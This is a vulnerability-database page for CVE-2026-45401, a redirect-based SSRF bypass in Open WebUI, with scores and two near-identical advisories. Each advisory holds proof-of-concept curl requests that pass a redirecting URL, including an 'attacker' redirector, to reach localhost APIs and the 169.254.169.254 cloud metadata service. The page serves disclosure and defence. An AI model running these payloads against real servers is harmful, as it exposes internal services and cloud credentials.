CVE-2026-45401

highpriority · track · 10EPSS 0.003 · 23 %ileexploit · PoCEURUUS
grimoire priorityP1 · Urgent
Exploitable?
Public exploit
1 exploit · PoC
Likely / severe?
0.30% (23rd) EPSS
CVSS 8.5 · high
Is it mine?
4 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · fstec_bdu · osv

EPSS · scored 2026-10-27

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers. This vulnerability is fixed in 0.9.5.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.5
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.18.5highAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:Nsecondary · FSTEC (BDU) RU
v3.18.5highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:Nsecondary · ENISA EU
v3.18.5highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:Nsecondary · security-advisories@github.comexploitability 3.1 · impact 4.7
v3.18.5highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:Nsecondary · OSV
v3.18highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N/E:Psecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

exploits (1)

Public proof-of-concept and weaponised exploit code.

05

affected products (4)

Products and version ranges known to be affected.

06

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-rh5x-h6pp-cjj6Open WebUI has a SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints (not addressed by CVE-2025-65958)2026-05-14ghsa · osvUS

    # Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints ## Summary The `validate_url()` function in `backend/open_webui/retrieval/web/utils.py` only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync `requests`, async `aiohttp`, langchain's `WebBaseLoader`) follow HTTP 3xx redirects by default and do **not** re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. `127.0.0.1`, `169.254.169.254`, RFC1918) and read the internal response body via the `/api/v1/retrieval/process/web` endpoint, the `/api/v1/images/...` endpoints, the `/api/chat/completions` endpoint with an `image_url` content part, and any other route that calls these helpers. ## Affected code paths The bypass exists across multiple call sites; each independently follows redirects without re-validation. ### Path 1 — sync `_scrape` via `SafeWebBaseLoader` `backend/open_webui/retrieval/web/utils.py` — `SafeWebBaseLoader` inherits from `langchain_community.document_loaders.WebBaseLoader`. The parent's `_scrape()` calls `self.session.get(url, **self.requests_kwargs)`. `requests_kwargs` only sets `timeout`; `allow_redirects=False` is **not** passed, so `requests.Session.get()` follows redirects with the default `allow_redirects=True`. `validate_url()` is invoked once on the original URL only. ### Path 2 — async `_fetch` (aiohttp) `backend/open_webui/retrieval/web/utils.py` — `_fetch()` previously inherited the aiohttp default `allow_redirects=True`. As of HEAD this path is fixed (`allow_redirects=False`). Listed for completeness. ### Path 3 — `get_content_from_url` (sync `requests.get`) `backend/open_webui/retrieval/utils.py` — `response = requests.get(url, stream=True, timeout=30)`. No `allow_redirects=False`. Reached via `/api/v1/retrieval/process/web` (file ingestion) and other routers that resolve external URLs. ### Path 4 — `load_url_image` (image edit) `backend/open_webui/routers/images.py` — image-URL fetching helper used by the image-edit endpoint. Same pattern: `validate_url()` checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via `/api/v1/images/edit`. ### Path 5 — `get_image_base64_from_url` (chat-completion image inlining) `backend/open_webui/utils/files.py` — `get_image_base64_from_url()` is invoked from `convert_url_images_to_base64()` in `backend/open_webui/utils/middleware.py` on every `/api/chat/completions` request whose message content includes an `image_url` part. The shared aiohttp session pool (`backend/open_webui/utils/session_pool.py`) does not override the aiohttp default `allow_redirects=True`, and the call site itself does not pass `allow_redirects=False`. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message. ## Proof of concept Authenticated low-privilege user; default config, no admin or special permissions required. ```bash curl -X POST https://<target>/api/v1/retrieval/process/web \ -H "Authorization: Bearer <any_user_token>" \ -H "Content-Type: application/json" \ -d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}' ``` Response body contains the internal `/api/config` payload in `file.data.content`. Replace the redirect target with `http://169.254.169.254/latest/meta-data/` for cloud metadata, or any internal hostname reachable from the server. For the chat-completion path (Path 5), the same redirect is followed when an `image_url` content part points to an attacker-controlled redirector: ```bash curl -X POST https://<target>/api/chat/completions \ -H "Authorization: Bearer <any_user_token>" \ -H "Content-Type: application/json" \ -d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"image_url","image_url":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}' ``` ## Impact Any authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks. ## Recommended fix For every call site that follows redirects, set `allow_redirects=False` on the underlying HTTP client and add a per-hop validation loop using `validate_url()` on each `Location:` header. ## Credits Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered. - **tenbbughunters** — first to identify SafeWebBaseLoader sync `_scrape` (Path 1) - **YLChen-007** — first to identify `load_url_image` (Path 4) - **tempcollab** — first to identify aiohttp `_fetch` (Path 2) - **sneaXOR** — first to identify `get_content_from_url` (Path 3) - **nayakchinmohan** — first to identify `get_image_base64_from_url` in chat-completion middleware (Path 5)

  • PYSEC-2026-2755Open WebUI has a SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints (not addressed by CVE-2025-65958)2026-07-13vendor · osvUS

    # Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints ## Summary The `validate_url()` function in `backend/open_webui/retrieval/web/utils.py` only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync `requests`, async `aiohttp`, langchain's `WebBaseLoader`) follow HTTP 3xx redirects by default and do **not** re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. `127.0.0.1`, `169.254.169.254`, RFC1918) and read the internal response body via the `/api/v1/retrieval/process/web` endpoint, the `/api/v1/images/...` endpoints, the `/api/chat/completions` endpoint with an `image_url` content part, and any other route that calls these helpers. ## Affected code paths The bypass exists across multiple call sites; each independently follows redirects without re-validation. ### Path 1 — sync `_scrape` via `SafeWebBaseLoader` `backend/open_webui/retrieval/web/utils.py` — `SafeWebBaseLoader` inherits from `langchain_community.document_loaders.WebBaseLoader`. The parent's `_scrape()` calls `self.session.get(url, **self.requests_kwargs)`. `requests_kwargs` only sets `timeout`; `allow_redirects=False` is **not** passed, so `requests.Session.get()` follows redirects with the default `allow_redirects=True`. `validate_url()` is invoked once on the original URL only. ### Path 2 — async `_fetch` (aiohttp) `backend/open_webui/retrieval/web/utils.py` — `_fetch()` previously inherited the aiohttp default `allow_redirects=True`. As of HEAD this path is fixed (`allow_redirects=False`). Listed for completeness. ### Path 3 — `get_content_from_url` (sync `requests.get`) `backend/open_webui/retrieval/utils.py` — `response = requests.get(url, stream=True, timeout=30)`. No `allow_redirects=False`. Reached via `/api/v1/retrieval/process/web` (file ingestion) and other routers that resolve external URLs. ### Path 4 — `load_url_image` (image edit) `backend/open_webui/routers/images.py` — image-URL fetching helper used by the image-edit endpoint. Same pattern: `validate_url()` checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via `/api/v1/images/edit`. ### Path 5 — `get_image_base64_from_url` (chat-completion image inlining) `backend/open_webui/utils/files.py` — `get_image_base64_from_url()` is invoked from `convert_url_images_to_base64()` in `backend/open_webui/utils/middleware.py` on every `/api/chat/completions` request whose message content includes an `image_url` part. The shared aiohttp session pool (`backend/open_webui/utils/session_pool.py`) does not override the aiohttp default `allow_redirects=True`, and the call site itself does not pass `allow_redirects=False`. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message. ## Proof of concept Authenticated low-privilege user; default config, no admin or special permissions required. ```bash curl -X POST https://<target>/api/v1/retrieval/process/web \ -H "Authorization: Bearer <any_user_token>" \ -H "Content-Type: application/json" \ -d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}' ``` Response body contains the internal `/api/config` payload in `file.data.content`. Replace the redirect target with `http://169.254.169.254/latest/meta-data/` for cloud metadata, or any internal hostname reachable from the server. For the chat-completion path (Path 5), the same redirect is followed when an `image_url` content part points to an attacker-controlled redirector: ```bash curl -X POST https://<target>/api/chat/completions \ -H "Authorization: Bearer <any_user_token>" \ -H "Content-Type: application/json" \ -d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"image_url","image_url":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}' ``` ## Impact Any authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks. ## Recommended fix For every call site that follows redirects, set `allow_redirects=False` on the underlying HTTP client and add a per-hop validation loop using `validate_url()` on each `Location:` header. ## Credits Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered. - **tenbbughunters** — first to identify SafeWebBaseLoader sync `_scrape` (Path 1) - **YLChen-007** — first to identify `load_url_image` (Path 4) - **tempcollab** — first to identify aiohttp `_fetch` (Path 2) - **sneaXOR** — first to identify `get_content_from_url` (Path 3) - **nayakchinmohan** — first to identify `get_image_base64_from_url` in chat-completion middleware (Path 5)

07

also known as (7)

Other names and identifiers for this entity.

08

sources

Which sources assert this record, and when.

published 2026-05-15modified 2026-06-17
09

references (5)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan